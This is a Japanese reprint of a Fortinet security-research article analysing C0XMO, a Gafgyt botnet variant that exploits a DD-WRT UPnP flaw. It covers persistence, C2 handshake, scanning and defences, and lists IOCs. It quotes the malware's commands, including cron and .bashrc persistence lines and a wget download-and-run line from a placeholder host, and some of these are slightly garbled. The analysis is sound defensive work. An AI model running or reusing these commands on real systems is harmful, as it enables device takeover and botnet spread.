DD-WRTルーターの脆弱性を悪用 新型ボットネット「C0XMO」の感染手口とは

文●フォーティネットジャパン 編集●ASCII

提供: フォーティネットジャパン

  • この記事をはてなブックマークに追加
  • 本文印刷

本記事はフォーティネットジャパンが提供する「FORTINETブログ」に掲載された「Gafgytの新たな変種「C0XMO」によるクロスプラットフォーム拡散の詳細検証」を再編集したものです。

 米国時間2026年6月3日に掲載されたフォーティネットブログの抄訳です。

影響を受けるプラットフォーム:DD-WRT changeset before 45723
影響を受けるユーザー:あらゆる組織
影響:リモートの攻撃者による脆弱なシステムの乗っ取り
深刻度:高

 FortiGuard Labsは今年3月、CVE-2021-27137を悪用して拡散する新しいGafgytボットネットの亜種「C0XMO」を発見しました。分析によると、このマルウェアは以前のバージョンとは異なり、ラテラルムーブメントの機能を独立したPythonスクリプトに分離しています。このアプローチにより、攻撃者がさまざまなシステムアーキテクチャやデバイスタイプをより効率的に標的にすることが可能になります。以下は、構造、拡散手法、攻撃の特徴に関する詳細な技術的概要です。

 脅威アクターがマルウェアの配信で悪用したCVE-2021-27137は、DD-WRTルーターの脆弱なファームウェアバージョンのUPnPサービスにおけるスタックベースのバッファオーバーフローです。この脆弱性は、UDPポート1900経由で送信される特別に細工されたM-SEARCH要求内で、SSDPパーサーが「ST:uuid:」の過大に長い値を不適切に処理することで発生します。

図1:CVE-2021-27137の脆弱性の悪用

 攻撃者は日本のテクノロジー企業を標的にしていましたが、追跡によってドイツのIPアドレスが発信元であることが明らかになりました。侵害されたホストは、マルウェアを/tmp/.cacheにダウンロードしていました。我々の分析では、ARM、MC68000、MIPS R3000、PowerPC、SuperH、Intel 80836、AMD64など、さまざまなLinuxアーキテクチャ向けにコンパイルされた複数のマルウェアサンプルが発見されました。

マルウェア分析

 C0XMOは、TelnetやSSHを標的とした脆弱な認証情報へのブルートフォース攻撃、埋め込まれたコマンドインジェクションの脆弱性、さまざまなDDoS攻撃手法など、Gafgyt亜種に典型的に見られる多くの特徴を示しています。本分析は、bot.x86_64サンプルに基づいています。

ボットネット

 C0XMOは、被害ホストに配信され実行されるとすぐに、永続化の設定、自己複製、自動起動の設定、競合プロセスの強制終了の4段階を経て永続化メカニズムを実装します。

永続化

 マルウェアはまず、永続化に関連する操作のため、/proc/self/exeを介して実行パスを確認します。

図2:/proc/self/exeを介してC0XMOの実行パスを確認する

 次に、/tmp/.sys、/var/tmp/.sys、/dev/shm/.sysなど、複数の隠しファイルパスを生成します。

図3:複数の隠しファイルパスを生成する

 C0XMOは、これらの隠れた場所に自身をコピーし、ファイル権限を755に設定して、実行可能にします。ホームディレクトリがある場合は、$HOME/.sysにも自身をコピーします。

図4:C0XMOを隠れた場所にコピーし、ファイル権限を割り当てる

 次に、マルウェアは15分ごとにC0XMOを実行するためのcronジョブを作成します。

(crontab -l 2>/dev/null | grep -v '%s'; echo '/15 * * * %s >/dev/null 2>&1') | crontab -

図5:15分ごとにC0XMOを実行するcronジョブを作成する

 同時に、C0XMOは、先に作成した隠しファイルを使用して、~/.profile、~/.bashrc、~/.bash_profileなどの複数のシェルプロファイルファイルに実行コマンドを追加します。

grep -q ‘/tmp/.sys’ ~/.bashrc 2>/dev/null || echo ‘/tmp/.sys &’ >> ~/.bashrc 2>/dev/null

図6:シェルプロファイルファイルに実行コマンドを追加する

 C0XMOは、何らかの理由でマルウェアのプロセスが終了した場合にも、自身を再実行できます。

図7:プロセスが終了した場合はC0XMOを再実行する

競合の排除

 ここまでの段階を完了した後、C0XMOは、その後のクリーンアップ操作中に意図しない自己削除が発生するのを防ぐため、自身のPIDと実行ファイル名を検証します。

図8:意図しない自己削除を防ぐため、C0XMO実行パスを確認する

 マルウェアは、/proc内のすべての実行中プロセスをスキャンし、その名前を内部のブラックリストと比較します。プロセス名がブラックリストのエントリに一致すると、C0XMOは直ちにそのプロセスを終了します。

図9:/procの下で実行中のすべてのプロセスをスキャンする

 ブラックリストは、主に4つのカテゴリを対象としています。

・ボットネットマルウェア
・ネットワークサービスアプリケーション
・プログラミング関連ツール
・レッドチーム用ユーティリティ

図10:対象となるプロセス名のブラックリスト

 その後、マルウェアは終了したプロセスの実行可能パスを確認し、パスのブラックリストと比較します。一致するものが見つかった場合、C0XMOはシステムから該当するファイルを削除します。

図11:実行可能パスを介してマルウェアを削除する

図12:標的となるマルウェアのパスのブラックリスト

 C0XMOは、他の脅威アクターが運用している競合ボットネットの排除を試みます。ライバル関係にあるマルウェアのバイナリを削除するだけでなく、cronジョブ、rc.local、init.dサービス、システムサービス、シェルプロファイルスクリプトなどの関連する永続化メカニズムの削除も試みます。

図13:競合する可能性のあるボットネットを排除する

C2サーバーへの接続

 ローカルの永続化設定を完了した後、C0XMOは85[.]215[.]131[.]70にあるC2サーバーとの接続を確立します。

図14:C2サーバーとの接続を確立する

 C0XMOは、接続後にカスタムハンドシェイクを実行します。最初に、マジック文字列669787761736865726500を、共有シークレットFS2@SA__=A23cAxs3S3@23AF@A3454DFSA0Dとともに送信します。これに対して、サーバーが文字列HANDSHAKE_OKを返します。

 次に、C0XMOはボットネットのノードであることを示す文字列BOTを送信し、これに対してサーバーがOKを返します。

 ハンドシェイクの最終段階で、ボットは最終的なマジック値としてFF FF FF FF 75という16進数列をC2サーバーに送信します。これに対して、サーバーがハンドシェイクプロセスが正常に完了したことを確認するウェルカムメッセージを返します。

図15:C0XMOのカスタムハンドシェイクの流れ

コマンドハンドラー

 C0XMOには、C2サーバーから受信したコマンドを解析するコマンドハンドラーが含まれています。このマルウェアは、ping、stop、scan、stopscan、攻撃関連コマンドの5種類を主にサポートしています。

 pingコマンドは、感染したホストがまだ稼働中かどうかを確認するために使用されます。ホストが通信可能な状態であれば、ボットはハートビートメッセージとしてPONGという文字列を返します。

図16:ハートビートメカニズムのpingコマンド

 以下の表に示すように、C0XMOは、さまざまなシナリオに対応する19種類のDDoS攻撃手法をサポートしています。

 従来のボットネットと異なり、C0XMOはスキャン機能を独立したPythonスクリプトに分離しています。このマルウェアは、メインのC0XMOバイナリの配布に使用するのと同じIPアドレスとポート(217[.]160[.]125[.]125:15527)からこのスクリプトを取得します。

図17:C0XMOバイナリ配布IPアドレスからスキャナスクリプトをダウンロードする

 マルウェアは、requests、paramiko、beautifulsoup4など、いくつかの必要なパッケージをインストールします。

pip3 install requests paramiko beautifulsoup4 --break-system-packages 2>/dev/null || pip3 install requests paramiko beautifulsoup4 2>/dev/null || python3 -m pip install requests paramiko beautifulsoup4 --break-system-packages 2>/dev/null

 これらのパッケージは主に、HTTPリクエストの送信、レスポンスの受信、SSHやTelnetベースのインタラクションの実行といったネットワーク通信に使用されます。

 次に、C0XMOは以下の引数を指定してスキャナスクリプトを実行します。

python3 /tmp/scanner.py --rand --rand-ports 23,22,80,443,8080,5555,5511,5554,4443,81,8000,7547,8081,8443,8888 --runtime X --server 217[.]160[.]125[.]125:15527

・--rand:ランダムなIPスキャンを有効にする
・--rand-ports:ランダムなスキャン中に使用される標的ポートを指定する(23、22、80、443、8080、5555、5511、5554、4443、81、8000、7547、8081、8443、8888)
・--runtime:スキャナの実行時間を秒単位で指定する
・--server:C2サーバーのアドレスを指定する

図18:スキャナスクリプトを実行する

スキャナ

 このスキャナには約22の関数があり、6つのクラス(Worker、Blacklist、Telnet、SSH、HTTP Exploit、ADB Exploit)に分類されています。その主な目的は、ラテラルムーブメントを可能にすることです。

 スキャナは実行時にバナーを表示します。

図19:実行時に表示されるスキャナのバナー

 スキャナは、最初にblacklist.txtとfailed.txtからブラックリストと失敗したIPのエントリを読み込みます。これらのファイルは、ハニーポット、研究機関、既知のボットノード、過去に失敗したIPや標的となったIPのスキャンを回避するのに役立ちます。

 その後、スクリプトは多数のワーカースレッドを作成します。各スレッドは以下のステップを実行します。

・ターゲットを取得する
・ブラックリストと失敗したIPを確認する。標的がいずれかのリストに含まれている場合、スキャナはその標的をスキップする
・標的のポートが開いているかどうかをスキャンする
・サービスタイプを検知する
・Telnet、SSH、HTTP、ADBの脆弱性悪用を試みる
・悪用が成功した場合はC0XMOのペイロードを配置し、失敗した場合はその標的をfailed.txtに追加する

図20:ワーカースレッド

 スキャナは、TelnetとSSHサービスに対して脆弱なパスワードのブルートフォース攻撃を実行します。認証に成功すると、標的のホストのアーキテクチャを特定し、適切なペイロードをダウンロードします。

cd /tmp
cd /tmpwget -q http://malicious[.]server/bot.arch -O .cache
chmod 777 .cache
./.cache
rm -f .cache

図21:ハードコードされた弱い認証情報

図22:アクセスに成功した場合はC0XMOを配置する

 スキャナには、初期アクセス用に、以下のようなHTTPベースのエクスプロイトも多数含まれています。

・UPnP SOAPインジェクション(CVE-2021-27137)
・CGIシェルインジェクション
・HNAP SOAPインジェクション(CVE-2015-2051)
・DVRコマンドインジェクション
・Systoolsコマンドインジェクション
・GLPI htmLawed RCE(CVE-2022-35914)
・GLPIバーコードインジェクション
・AVTECH製DVRの脆弱性(CVE-2025-34054、CVE-2016-15047)
・NVMS-9000の脆弱性
・ブロードバンドルーターの脆弱性
・Zyxel SysToolsのRCE脆弱性

図23:初期アクセスに使用されるHTTPベースのエクスプロイト

 さらに、スキャナは、ADB(Android Debug Bridge)の不正アクセスの脆弱性を悪用して、外部に露出したAndroidベースのデバイスを侵害します。

図24:ADB(Android Debug Bridge)の不正アクセスの脆弱性

結論

 C0XMOは、従来のIoTボットネットと比較して、かなり高度なアーキテクチャと機能セットを備えています。そのモジュール化されたエクスプロイト機能、多段階の拡散手法、全体的な設計は、一般的なGafgytマルウェアよりも運用の洗練度と複雑さの度合いが高いことを示唆しています。スキャン部分と拡散部分の分離は、適応性と拡張性がより高いボットネット展開戦略へと進化していることを浮き彫りにしています。

 お客様は、影響を受けるすべてのネットワークデバイスとIoTシステムを直ちに最新のファームウェアにアップデートすることを強く推奨しています。また、TelnetやUPnPなどの不要なリモートアクセスサービスを無効にし、堅牢な認証情報ポリシーを適用するとともに、不審なアウトバウンドスキャンや悪用の試みを継続的に監視する必要があります。さらに、インターネットに公開されたサービスを定期的に監査することで、既知の脆弱性やデフォルト設定に起因する攻撃対象領域を最小限に抑えることができます。

フォーティネットのソリューション

 本レポートで説明したマルウェアは、FortiGuardアンチウイルスによって以下として検知され、ブロックされます。

ELF/Gafgyt.SORA!tr
ELF/Gafgyt.C0MOX!tr
ELF/Mirai.EGX!tr
Python/Gafgyt.C0MOX!tr

 FortiGuardアンチウイルスサービスエンジンは、FortiGateFortiMailFortiClientFortiEDRに統合されています。これらの製品を最新のシグネチャで運用しているお客様は、本レポートに記載されているマルウェアコンポーネントから保護されます。

 FortiGuard Webフィルタリングサービスは、このC2サーバーをブロックします。

 FortiGuard Labsは、以下の脆弱性を悪用するサイバー攻撃に対するIPSシグネチャを提供しています。

CVE-2021-27137: 56117 DD-WRT.UPNP.CVE-2021-27137.uuid.Buffer.Overflow

CVE-2015-2051: 50772 D-Link.Devices.HNAP.SOAPAction-Header.Command.Execution.Vulnerability

CVE-2022-35914: 52227 GLPI-Project.GLPI.htmLawedTest.php.Code.Injection

CVE-2016-15047: 43635 Avtech DVR Camera Authentication bypass and Command Execution Exploit(Core impact)

CVE-2025-34054: 43635 Avtech DVR Camera Authentication bypass and Command Execution Exploit(Core impact)

 基礎的なセキュリティ意識の強化を目指すお客様は、サイバーセキュリティに関するフォーティネット認定ファンダメンタルズ(FCF)トレーニングの実施もご検討ください。モジュールを受講することで、エンドユーザーがフィッシング攻撃を特定して自らを保護する方法を習得できます。

 FortiGuard IPレピュテーションおよびアンチボットネットセキュリティサービスは、フォーティネットが全世界に展開するセンサーネットワーク、CERTの連携、MITRE、信頼できる業界パートナー、その他のインテリジェンスソースから収集した悪意あるIPインテリジェンスを相関させることで、このキャンペーンに関連するインフラストラクチャをプロアクティブにブロックします。

 このようなサイバーセキュリティの脅威の影響を受けていることが疑われる場合は、グローバルのFortiGuardインシデントレスポンスチームにお問い合わせください。

IOC(Indicators of Compromise:侵害指標)

ホスト

217[.]160[.]125[.]125:15527
176[.]100[.]37[.]91
85[.]215[.]131[.]70

ファイル

444a9d34a9f59dc7975dfabefb47d789813a4497bbac9127c4806dd816e85211
9394666007fac4014a4641fdae150c1b969ed2bc4299876318a336fd386abf59
450ea44da0c9d96a2e8f4d6bad34f1c35cd35743295b8cd2defa9f7a9884685d
d452f22dacab9785539484245c13e9cce58df23fc82eeef205684fcd196da20b
20042f1efb59c99e3addf822a3e9e5a496f0b701362df038a50a32a9f504a136
7413cbb6eab4d6b10346f71be5dd76d7cf2f4817f7776367b162f83755aefa1f
b6f835ced11059d341222eba11fff3a4672f4de47a3a4d791fad86059a2b06d4
b61a5508847a2167b737d31193dc393e92c5be2aa5141bbe4b7ea6f440fd4799
dff0edae6e8854ddd3e617054ee0bd74c696c91411f704dff60aabaec839bec9
ea44138b9701fce1b2fe13de8f9e00681c007c9adc625edc9f507f177704c2e8
3ddb67ab079509dd1e7ac77fc4cfed25a271526668c68f8a2221e96a4cc21812
f02b1d8010dac35b007796def0cbd5d0c9414df790e2b55b105c95df2f2ffa91
8fc2d35b66c692d37a85ae9d30dc5c7f06f0b3eaf01112a5a6398a1a0feb3aee
eead44c0af7ddb12cece1a6125cf213bab3c22511cd59aff9d63dcfddb7d4386
eead44c0af7ddb12cece1a6125cf213bab3c22511cd59aff9d63dcfddb7d4386
41e8e327abbf2ba721be677ad8a416a7295708257b39688a0af03275fb199cec

■関連サイト

本記事はアフィリエイトプログラムによる収益を得ている場合があります